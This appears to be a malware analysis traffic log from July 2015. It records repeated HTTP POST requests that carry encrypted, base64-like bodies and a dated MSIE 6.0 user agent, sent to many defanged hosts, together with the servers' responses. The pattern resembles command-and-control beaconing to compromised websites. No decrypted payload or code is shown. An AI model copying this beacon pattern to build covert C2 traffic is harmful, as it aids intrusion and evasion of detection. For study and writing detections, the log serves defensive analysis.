r6tAZk6otFvyI1vwmbIbBqQvTqNllzKqOEskWTszOVIUSalRUSnxY cyOe9CvYQz

WU2z6 xhKrVLo1q3oeAHzGoWW2L n bHljh3jpM3KYfsHpviqoQZtQhkCnnEb6ad

jniefo6bQtAJE9J983EI8Ows8TQNSe eorOOXxn4eIGGKiqwKCMYv1pdyD0iSxgb

67rkGTBR cEw888KglJw/YsChfSBqcA75I2op yesTn6AG4MUCqdnv6JEaFmDhYF

tWKMJ/qsiGd69btT7Q==

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:17:06 GMT

Server: Apache

Accept-Ranges: bytes

X-Powered-By: PleskLin

Content-Length: 4954

Connection: close

Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "hXXp://VVV.w3.org/TR/xhtml11/DTD/xhtml11.dtd">..<head>...<title>Apache HTTP Server Test Page powered by CentOS</title>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />...<style type="text/css">....body {.....background-color: #fff;.....color: #000;.....font-size: 0.9em;.....font-family: sans-serif,helvetica;.....margin: 0;.....padding: 0;....}....:link {.....color: #0000FF;....}....:visited {.....color: #0000FF;....}....a:hover {.....color: #3399FF;....}....h1 {.....text-align: center;.....margin: 0;.....padding: 0.6em 2em 0.4em;.....background-color: #3399FF;.....color: #ffffff;.....font-weight: normal;.....font-size: 1.75em;.....border-bottom: 2px solid #000;....}....h1 strong {.....font-weight: bold;....}....h2 {.....font-size: 1.1em;.....font-weight: bold;....}.....content {.....padding: 1em 5em;....}.....content-columns {...../* Setting relative positioning allows for .....absolute positioning for sub-classes */.....position: relative;.....padding-top: 1em;....}.....content-column-left {...../* Value for IE/Win; will be overwritten for other browsers */.....width: 47%;.....padding-right: 3%;.....float: left;.....padding-bottom: 2em;....}.....content-column-right {...../* Values for IE/Win; will be overwritten for other browsers */.....width: 47%;.....padding-left: 3%;.....float: left;.....padding-bottom: 2em;....}.....content-columns>.content-column-left, .content-columns>.content-column-righ

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.restpro.com

Cache-Control: no-cache

K9A9BHeJuDvn7Mby5lgyOMCukcgt94JVmzTIKpS7dtndtpteRaRjJTccHutaEDbG

1Eyf5yOFpbWaNix/nse9YqGcYb8g8jvcxmh4x3bXon YoH8rF1QdxGwUvrG3lSeE

QKNF1PhQex8PB7VCXtm1sqeFtvmO29QLXx8yOQVxRVo1Bk/EcXa0eMu3aUOGUBo

byQbu7SJE/0wPprGOIMyIqBQ6iQTAfEAQxnMtH0ozFtnmi Ct3cd55vB4AQsZyyX

AYvdnkNm7r7Fij4LkQl83iGtYUY7SxKHXvycgQ0flcoeH9lGWukuG6THEkChTlWk

lcpEvo7pSE2HGkPpYpNY63Mxty7G9zjwkFNMn5wD11xtxOz goy6wZut87zRoffb

YQNMTQ7lCubNdFqEx65RDFSksaCEl/o6bmPtJGe8/bTxEv4OqH5vHVQhxORl3E/e

XROJIHoI58aq2AbV4/HqRthZaX60luFfnpVxpMdZjzts/H/tjPE4CVim6LlZfVKm

S8XO0Tvhgz6Jqqg4 sZXgG7i4mPyVvtyu7ROSR8ewZQ=

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

Set-Cookie: .ASPXANONYMOUS=u0B0TCj80AEkAAAAZGZkZWM2NDQtZDQwMC00MGNkLTlhZTEtMTQ2YzhlMjdjNjM40; expires=Thu, 01-Oct-2015 09:05:20 GMT; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

Set-Cookie: .ASPXANONYMOUS=u0B0TCj80AEkAAAAZGZkZWM2NDQtZDQwMC00MGNkLTlhZTEtMTQ2YzhlMjdjNjM40; expires=Thu, 01-Oct-2015 09:05:20 GMT; path=/; HttpOnly

Set-Cookie: language=en-US; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:25:19 GMT

Content-Length: 18913

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xml:lang="en-US" lang="en-US" xmlns="hXXp://VVV.w3.org/1999/xhtml">..<head id="Head"><meta content="text/html; charset=UTF-8" http-equiv="Content-Type" /><meta content="text/javascript" http-equiv="Content-Script-Type" /><meta content="text/css" http-equiv="Content-Style-Type" /><meta id="MetaDescription" name="DESCRIPTION" content="Restoration Professionals, serving the Minneapolis/St. Paul and St. Cloud areas, specializes in restoration for fire damage, water damage, mold remediation and clean up, and carpet cleaning. ." /><meta id="MetaKeywords" name="KEYWORDS" content="fire damage restoration, smoke damage restoration, smoke damage clean up, mold removal service, mold removal company, mold remediation contractors, mold removal contractor, water damage restoration, water damage repair, water damage clean up, residential reconstruction, residential restoration, commercial restoration, fire damage reconstruction, carpet cleaning services" /><meta id="MetaCopyright" name="COPYRIGHT" content="Copyright 2013 by Restoration Professionals" /><meta id="MetaAuthor" name="AUTHOR" content="Restoration Professionals" /><meta name="RESOURCE-TYPE" content="DOCUMENT" /><meta name="DISTRIBUTION" content="GLOBAL" /><meta id="MetaRobots" name="ROBOTS" content="INDEX, FOLLOW" /><meta name="REVISIT-AFTER" content="1 DAYS"

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 590

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.jinsey.com

Cache-Control: no-cache

4D5J6sFZLEFXLnlgoGhL 5rHEDc/1icDhfROz7W xLTwGO8Lk86yQn9vA8UpaM0a

gAcmhh2TY4DUWOG6GWigRdVVNiuzac9O0W1b65ZyLpHzUqjdZesWSk9x2aUZsVme

4aXTBCgt/Hb63VoOWpCBoTeLvaS3RGtd0F3uFxTO/5f6T1Bdnmki/3gpZhYNHMQs

Awzozq8SJztLBVERVzz6t2myYIlaZtFDcHGK6yK4101Y5qmn/haWNV18UKcJ5vdD

MHyxovHzM7TJezz0NT3nSvPW2aPTNjZWXehh7yRogr96lFefS1UCcpROXEVpf5Q4

zRoElPpRxBFipZZ6F6twKoSEIYa3x7oHECYkz5weL9abWBlA/0opchFVhQL5c1Pz

7lPrdmC7 dOVq6bd6LFi4J4S1BsnBqJWca9R WqCNRjEiJ6Butl9Ak7Lo5YwWGti

cE6s6SdbzZm2HHllRvnD/LLv0ovwKsno8HC2YvASGA0ivPv10CTKRBGEw/FViFEV

WvcPMAbmFD2gPlOCoGGTikr49tgy4FwzZbFcfAIyu3uPgzELw7T7412E97c=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:48 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d1b155adb1412e29c7624580285b2491d1437690346; expires=Fri, 22-Jul-16 22:25:46 GMT; path=/; domain=.jinsey.com; HttpOnly

X-Powered-By: PHP/5.3.29

X-Pingback: hXXp://jinsey.com/wordpress/xmlrpc.php

Vary: User-Agent,Accept-Encoding

Cf-Railgun: e5f3983907 0010 normal 5360

Server: cloudflare-nginx

CF-RAY: 20aacd96b0cf0f6f-FRA

HTTP/1.1 200 OK..Date: Thu, 23 Jul 2015 22:25:48 GMT..Content-Type: text/html; charset=UTF-8..Transfer-Encoding: chunked..Connection: keep-alive..Set-Cookie: __cfduid=d1b155adb1412e29c7624580285b2491d1437690346; expires=Fri, 22-Jul-16 22:25:46 GMT; path=/; domain=.jinsey.com; HttpOnly..X-Powered-By: PHP/5.3.29..X-Pingback: hXXp://jinsey.com/wordpress/xmlrpc.php..Vary: User-Agent,Accept-Encoding..Cf-Railgun: e5f3983907 0010 normal 5360..Server: cloudflare-nginx..CF-RAY: 20aacd96b0cf0f6f-FRA..284d..<!DOCTYPE html>.<!--[if IE 6]>.<html id="ie6" lang="en-US">.<![endif]-->.<!--[if IE 7]>.<html id="ie7" lang="en-US">.<![endif]-->.<!--[if IE 8]>.<html id="ie8" lang="en-US">.<![endif]-->.<!--[if !(IE 6) | !(IE 7) | !(IE 8) ]><!-->.<html lang="en-US">.<!--<![endif]-->.<head>..<meta charset="UTF-8" />..<title>Jinsey Dauk Photography | Professional Headshots, Kids Photography, Weddings and On Location Photography, New York City</title>........<link rel="pingback" href="hXXp://jinsey.com/wordpress/xmlrpc.php" />...<script type="text/javascript">...document.documentElement.className = 'js';..</script>...<link rel="alternate" type="application/rss xml" title="Jinsey Dauk Photography » Feed" href="hXXp://jinsey.com/?feed=rss2" />.<link rel="alternate" type="application/rss xml" title="Jinsey Dauk Photography » Comments Feed" href="hXXp://jinsey.com/?feed=comments-rss2" />.&l

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 582

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.skmat.com

Cache-Control: no-cache

IDJ60eVCLUI9AINbjJe/KV6cU3AzsA656X01qfJ5Zi2us4IwGhZ4SJtAViVTf0il

NgMOn1yiy7LLLjjh3TQk5feVVClcsBrNzrjuyxxBXcNqZGAUeI17ZoOPin3Xo6v3

9jitYqZ0VxP9mfo//Qs8yzlnQ49WXuq6cX mQN8sax4Xri/z6Cj3MVR97C7BlYTf

yzQ7q972Sp/ZShBd54l7xB6Bh /mtk25w2ri7HlbRK9gGjdriEtAW8ywvceNeqwE

JoTNsuAL31q14WCjUXPjkh6ZyzOqSw5sxJwgH8KMBDPlFER6FxpWI6gNmrxW6XAw

fBmncfWfkeZfNaWvPRrLFcGO08uS3tYA8gnskIn4/ alQdexiT9cqsv8FmGTq92k

8Ds0T3ADC9nlG9tqoSyr0mJY2C4BgVGTN4o3JHKXi87 fQNVBGu3 aNm9VRPPyil

SZo9Zh7yKysEkXgGScp/PBC8ZHWFn w 1llaX/mM4hjYlf2LzJqfHlfAQBbLMwxa

aMznNt B5P2OlxhF4/W8Rn Bqk/iPK5k2AZFEVU6F2oUEMDBVv4s

HTTP/1.1 503 Service Temporarily Unavailable

Date: Thu, 23 Jul 2015 22:25:50 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d8fcf7e35ba11338b1bec4ddb2debc2861437690350; expires=Fri, 22-Jul-16 22:25:50 GMT; path=/; domain=.skmat.com; HttpOnly

X-Frame-Options: SAMEORIGIN

Refresh: 8;URL=/cdn-cgi/l/chk_jschl?pass=1437690354.738-cgS1Tf 4Rj

Cache-Control: no-cache

Server: cloudflare-nginx

CF-RAY: 20aacdb410e615a1-FRA

105d..<!DOCTYPE HTML>.<html lang="en-US">.<head>. <meta charset="UTF-8" />. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />. <meta name="robots" content="noindex, nofollow" />. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />. <title>Just a moment...</title>. <style type="text/css">. html, body {width: 100%; height: 100%; margin: 0; padding: 0;}. body {background-color: #ffffff; font-family: Helvetica, Arial, sans-serif; font-size: 100%;}. h1 {font-size: 1.5em; color: #404040; text-align: center;}. p {font-size: 1em; color: #404040; text-align: center; margin: 10px 0 0 0;}. #spinner {margin: 0 auto 30px auto; display: block;}. .attribution {margin-top: 20px;}. @-webkit-keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. @keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. .bubbles { background-color: #404040; width:15px; height: 15px; margin:2px; border-radius:100%; -webkit-animation:bubbles 0.6s 0.07s infinite ea

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 604

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.abdg.com

Cache-Control: no-cache

ftwxaqL3iTuQ9rhCFRLtaSXZ0uMyBPg39mcjoFuAwmaaM6qRpDuOqEK/MKgycX9G

p8oPwXUnLObPBTa8PImwVe8LVCR2eVszh4i/8F1Zt6wkhYxW9DBCSTfStQ7b08S6

oWEoJjRoytpyojnQL0f/mKuHTlodkzUm8OJxPWLDLythacQR30cqN3S2cgjb4Fx0

l7l4mh3B4yEJaJtdiy1IorKuzOmcXI32tArKnAfwc8ECBvBhZWh AP09it1oZtTy

2mYQdvcHTY28Vpj1WjI3TEAtVRMdCbOUvIAq0jCT9KJT0YtVBxp4jaCdvRxs5i4t

9D5gORt3DhZRinGltUBQJuuK02GWchd9ef9UEXyclR5Ta/4HsMg/Jy fEZM 54u

gvYBCdjfJcn7kCOwc7g6NHQHn53bj9jYeuShjmoCFsfCTu9fbhM/h9DdQO79Lw M

gFIsgYs1RGSNGUO/L0tjSEmebFukI7OTLzcD8F3R4wXEG5vK1BF1OFvPLXfu8GN0

lk8M6Ac8a5wejOQvViLtNHAxfjykH5cQrAhf19a0MK61Eftg83tcgfuhZJvnXr 4

bnGjSIM=

HTTP/1.1 412 Precondition Failed

Date: Thu, 23 Jul 2015 22:25:20 GMT

Server: Apache

Accept-Ranges: bytes

Content-Length: 922

Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />..<title>412 Server Error</title>..<link href="/icons/expired/style.css" rel="stylesheet" type="text/css" />.</head>..<body>..<div id="notice">...<h1>412 SERVER ERROR</h1>...<h2>The web server encountered an error and was unable to complete your request.</h2>..</div>..<div>...<p>If this error persists, please contact the webmaster and inform them <br />...of the time the error occurred, as well as anything you might have <br />...done that may have caused the error.</p>...<br>...<p>If you are the owner of the website, you can get more information about <br />...the problem at <a href="https://suresupport.com">hXXps://suresupport.com</a><br /></p>..</div>.</body>.</html>.HTTP/1.1 412 Precondition Failed..Date: Thu, 23 Jul 2015 22:25:20 GMT..Server: Apache..Accept-Ranges: bytes..Content-Length: 922..Content-Type: text/html..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />..<title&

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 582

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.pids.org

Cache-Control: no-cache

COOrEtAjDDyQn5UHY6ShnoOPss34hpOkBOh632/PjK5tsgOvhg onr9JwE XfzM5

RXhC7d5F/qao1ASnAy4y1vng9 k4rCg1Kwn5YxA0o2t7rK3PaTu7ePcJXs32u4

pJt3al389AUUdjz6A3DudMgfpdonXz8TzmBz7DlnSHDf4QjLZR0jt4U 1HV5h5zh

d5chQaLF/dMtNHJAz Foal XBfdjrYuHxFsYOpBh9sGcogl2ZYuthorlhQwbutGN

WPfUX8IpxTNtMMg7/rSWkikYvEEphuL77fNuqHAXXixgGYAHv28tCBY9frsyYKDi

17d5DiuEWGEjqrQ2ObskZ5ilPymUuGBUgpkfUb22uXzpe6v3nubfqw6M4oj bAFL

YoDK9Wi3h07ryVS729Gciqz0/Q CARC3YatyG6ERz6pS6T9rC/UumOlnvlgx3KkZ

XVfYh4drT20l8wS5Xt17VUepzfLWdLMgbvROSQvh8Q 6kytruZcuvcnLQzO0Lgae

SsdritQz6lp8FN0codtlJK21Vremy56vzABwPgW1Mdx9kqzZeXI=

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:25:21 GMT

Server: Apache

X-Powered-By: PHP/5.4.42

P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"

Cache-Control: no-cache

Pragma: no-cache

Set-Cookie: 6bdb831e53fc65de4836c7758bfb09fc=de65ccdf96de338e96b57a4da5a72d8a; path=/

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8

71f8..<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml"..xml:lang="en-gb"..lang="en-gb" dir="ltr">..<head>.. <base href="hXXp://VVV.pids.org/" />. <meta http-equiv="content-type" content="text/html; charset=utf-8" />. <meta name="keywords" content="PIDS, Pediatric Infectious Diseases Society, Infectious Diseases" />. <meta name="description" content="PIDS - Pediatric Infectious Diseases Society" />. <title>Home - Pediatric Infectious Diseases Society</title>. <link href="/?format=feed&type=rss" rel="alternate" type="application/rss xml" title="RSS 2.0" />. <link href="/?format=feed&type=atom" rel="alternate" type="application/atom xml" title="Atom 1.0" />. <link href="/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />. <link href="hXXp://VVV.pids.org/component/search/?format=opensearch" rel="search" title="Search Pediatric Infectious Diseases Society" type="application/opensearchdescription xml" />. <script src="/media/system/js/mootools-core.js" type="text/javascript"></script>. <script src="/media/system/js/core.js" type="text/javascript"></script>. <script src="/media/system/js/caption.js" type="text/javascript"></script>. <script type="text/javascript">.window.addEvent('load', function() {...

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 590

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.xatrix.net

Cache-Control: no-cache

nGS0JXRid0Dtt9g2zysNscfV4bJspDVg6GZChZaLBNmjk9WWYYa9x WnEuysFCTb

GdUv2R35Pks2IHk8bszjnQCEZJsBVVN/ZRJKJnllk7TPByYrySjUeXNa J/EyaBt

ITFJuF/nNN3gk/ZigWau5r1/w7rEHr72qA/HM4/R5ZLYCgbQZImycahbNP5YcPXK

0i s/MRjnF37RxV6Fyo2X9EVkeFrGrB5cUfR36WJR2MQunU/zIKsUwxGin3idvrd

PB9pelX8yRRbKtKQiZFFLrCSW0i2L2ESKQEMg4aUG4KVcI7zvyLCRxiv4pULcNL5

uD1b1cAD2m5gDGLnxfxoH4k0Gg9utU7dxbZzP1Odb8CK2YfkGJF5fy7krdlwNKi4

YWenIIs TEI48GbflI7v1hWyFV0N06d0gf 6fEXyzoTV6tAyofdqkUHfiypmhFZv

hILMCkKnvYnqAPqHPQy9DtoF0Sm52OoChJL9oeOlYlIT84Dsq3G2IFA8u3Fz39yZ

pP3Uru872D9NOCyzma0cxCVYUvnoiWlYenIgjBjfRZ5DtxwJA0Syud/2RIE=

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:25:42 GMT

Server: Apache

Location: hXXp://VVV.xatrix.org/

Content-Length: 206

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://VVV.xatrix.org/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 542

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.enchilada.de

Cache-Control: no-cache

i08QKSnahztbdyOc F1CsULoXc7H4hUDbUcnh0a7VZkAnmgj0ssf2pWvvVG3p vl

Nr8YghvM6Gx9TztOlFPUNZ8B2IbbE6LaZ/eUTkQTtyiBazx ivLbI5UCofdXC51o

TfdswQTqPhcbGB5hqV8AXjfsU5Ass94HbTSXrB41lvoXPerE/lziBZOykupZUTbv

gENII/LDH9eY x9DQLtXjHCTfDOnUfQJBoa6RY BITvFCUNCg0vWfDcB58Vnr/11

GR46Z/RQQXFsUBsQNmDG7fsAgYtmSfUQHD4cRwtbR071kQlqCahX6ZTmOgTwpphk

kqtZGvF9QQB28VK4gOQ5KQfye2HWl3q20LjKlmhYJRjY hAgPeA5OcJsZN5qnHHh

CiX15f0tZ44 vm3feWitcC9NE1AQPyHPHOZKHu4DIYHaBNzUWIurCK5yi0WQXPxA

Nt1b/SsuwiJlZLN9sX9GvoQawJyBuYs/JJaVE2LDHOBeS3QIsRUfnQzO3wYll0u

WDO2yembJ6ok

HTTP/1.1 302 Found

Date: Thu, 23 Jul 2015 22:25:19 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d719676a569234b8095a4d4ac7768ba981437690319; expires=Fri, 22-Jul-16 22:25:19 GMT; path=/; domain=.enchilada.de; HttpOnly

Location: hXXp://127.0.0.1/

Server: cloudflare-nginx

CF-RAY: 20aaccf39198157d-FRA

10a..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://127.0.0.1/">here</a>.</p>.<hr>.<address>Apache Server at VVV.enchilada.de Port 80</address>.</body></html>..1.....0..HTTP/1.1 302 Found..Date: Thu, 23 Jul 2015 22:25:19 GMT..Content-Type: text/html; charset=iso-8859-1..Transfer-Encoding: chunked..Connection: keep-alive..Set-Cookie: __cfduid=d719676a569234b8095a4d4ac7768ba981437690319; expires=Fri, 22-Jul-16 22:25:19 GMT; path=/; domain=.enchilada.de; HttpOnly..Location: http://127.0.0.1/..Server: cloudflare-nginx..CF-RAY: 20aaccf39198157d-FRA..10a..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://127.0.0.1/">here</a>.</p>.<hr>.<address>Apache Server at VVV.enchilada.de Port 80</address>.</body></html>..1.....0..

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 586

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.sdcea.org

Cache-Control: no-cache

WTpyVATUsju3tkx9H09hOdeNb7E87U6 eKF3Mvye2LZoVHKBc3QCMpJkwf6ECIRw

KxRg0UFqNs94AvnXur3wA6zCMei zaDP9qqEowdnkteVQE zQr8NT6m1Lr2xT0dY

xkzzlQQm/eWYXpQJoNo6YZNMDHxlHOuFIG7myU7z1Yog00RROGXg3aeNmkT58Gnm

RSr8R0oa0n/TsIPQZrjUa2N8LJmGxSUQIoauzRLo/aJnitage14KZY6FPpx5uoZ6

mc Ajk/ZOAFi5Qi4gT4WNKI1gF1H1FhMl6/69eH4TCKpiAbwU YXZlNlGn/ sPoj

d0nm6QY3b6ySo8vJL MVOP8vkCJCgIFeIqirH8T74IWN1rOgRCItaEOcE2XoyyKp

iZddoH04OjnfCwZw5559betZwEEyfBbmHjXEysI o/8W5vFheDaKgPqGbg14H46A

Tp1X4H/m4P rATDHXYr2D4By/wuivb8Ols1I6V17k5UNW2iJV4NVsm8SLVccHiOC

YEORMc9FC56a6Xd1CPbrH43ZUB0nnGK6plkThUBFUMp4mexMg9EzDPQ=

HTTP/1.1 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:22 GMT

Server: Apache

Location: hXXp://sdcea.org/

Content-Length: 225

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://sdcea.org/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.recsjpn.com

Cache-Control: no-cache

EGJfWhrbNkVKkE/zPW8OAV0n9PIK6bN/7kYJ2KwW6e1nqZkHVVpN7/8Z dqCjgaK

3OTXjaHgdWCusQ/ZpbfVQBDRwrWE/ysXazt39IT39KHtyqfjseAubSJbPTtwMALa

DrrAHtcScu6lM bM3XMSlDZ9zKr0ozKkeYayhwDLyVUyNwSv0zmELEayaehM38VW

Rxl9ajxZKP9YJA0hBSIa9pP1VSBX3ye3fmW6RJCimgZaegKrIoKmwrUqbY2taUKH

N27qywgL/ToqTLdyc/LysZab8WJgL2/Ga5ulJGUnqXGhQUc5F2ONYPIfnvJ/SHgE

eEs/9Mro8sLEUrqQ2KQ42 o3iqKDuWuKqhOMTyAQESHKw/K9KKbNUJp7EMGKfBoU

Oc8gKQfEocGSvmOPX LMz7AIYOrrIwP6cajYi RGgcodnJ27 ogrBZcH7H t3/r9

IKjbNhXD8TGZZ4N2jQ9DdoXhXYnzc6WqX9VjVZRMk9dnG9IjUwF9yKi7dvw2be4o

DSVVB4m7AJBeatHAlpMggo0xwsP1rM12EAO8Nnamx7uK

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:26:05 GMT

Server: Apache

Content-Length: 202

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 590

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.raboo.com

Cache-Control: no-cache

1FqUZ bhiTvsRuL7gRDnQQnw1DbGBXaAenSeqlrbECQw4ZmbPLos3An0mBOp2M9C

hyE1gl2kcuL0MoeOGZNkwAmcfsc9TD/sSTjzS7uScOZ3mrkqs72OegKfN4E5hlhE

PsQvaG9sFTfNrxY1AVhrZWg bpo6ModkEqahR5ZuCNofcF8GaOn5Lpyr2K8LSikC

UUeOq4X61EL Q6GzxLRuYa6pF5Fm9ijt5xShjjDqxrlyF1tVDfeo1PamRcDm0/5c

B SVFB95fR8b7VtnGu3U3pLjU U/7zy4vDJ0WwAXoAynnR89p4XxAfeJJqmbeRzD

uePwuY5wiGcPHiW2hnXVJun6P1HjAsWI1PR7mfMDGMU6pnVzvLW5Jvxxvshp4jts

EBqQhb0amfJ ddYELvJxrbZQmmMhk6CsDBt2sDZTyEmvsAj1DViZHkwvhs0jh0SE

pKYz0BksKehoGjbdUXFhuStHMlsh6zipWA/k63gqWHp4cFzAt1DbckurB/AWNfn

JIPuADcoPJ4 zTtCsWJOvi8OvViHd3E9ABIZnIsQbf6QFgMa5Q2RRzrLnWGW

HTTP/1.1 418 unused

Date: Thu, 23 Jul 2015 22:25:20 GMT

Server: Apache

Vary: Accept-Encoding

Content-Length: 509

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>418 unused</title>.</head><body>.<h1>unused</h1>.<p>The server encountered an internal error or.misconfiguration and was unable to complete.your request.</p>.<p>Please contact the server administrator,. webmaster@raboo.com and inform them of the time the error occurred,.and anything you might have done that may have.caused the error.</p>.<p>More information about this error may be available.in the server error log.</p>.</body></html>.HTTP/1.1 418 unused..Date: Thu, 23 Jul 2015 22:25:20 GMT..Server: Apache..Vary: Accept-Encoding..Content-Length: 509..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>418 unused</title>.</head><body>.<h1>unused</h1>.<p>The server encountered an internal error or.misconfiguration and was unable to complete.your request.</p>.<p>Please contact the server administrator,. webmaster@raboo.com and inform them of the time the error occurred,.and anything you might have done that may have.caused the error.</p>.<p>More information about this error may be available.in the server error log.</p>.</body></html>...

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.2-force.com

Cache-Control: no-cache

dR48aajviTvTxlNxaw5Vnxu9P6ywa1oLXA3CCYeXcomcF3pjLcMG/PIOvpLu6ibL

T0 TWJwZzSOd2Kh0V8cnsJ/30JDC29H5ShsE1JWtsOM9KhJOYxi/Q1qio3RStrhP

Rk3keD8eeGoD8ACZgv3pPFayr2bMLmbCbc50RJvfYRb8JFlEuMphi0wZ4M3SFBYB

2iXNzlMOCsk4Cv0RjdTVlD09oj7OARqVW/zHW8o5AKAq2oSQcuguvbtZf6FjzgGQ

eeMTrvNaAKZqKQoowTTGBq prfM6MEtditpoVUYNNSBf9eAg72kOweZfPmOtmMd

UA1thkKGtj8VDiCm91/yAwt2EEzlDt75cw3gp5YbYIWUu2sNDf362qBaeX6JAK9T

p/OyfA gUZHqMDQsnZuW3nIp96CugNQhfjF0ru7grzEVws7oNGLQ nizVJrUPLIn

5uGBnQeMg58H5xzMd4KmSC62dX/iQ6tMOJYEaPPcPwp3AmUbi94O2EQUMw7vzpdV

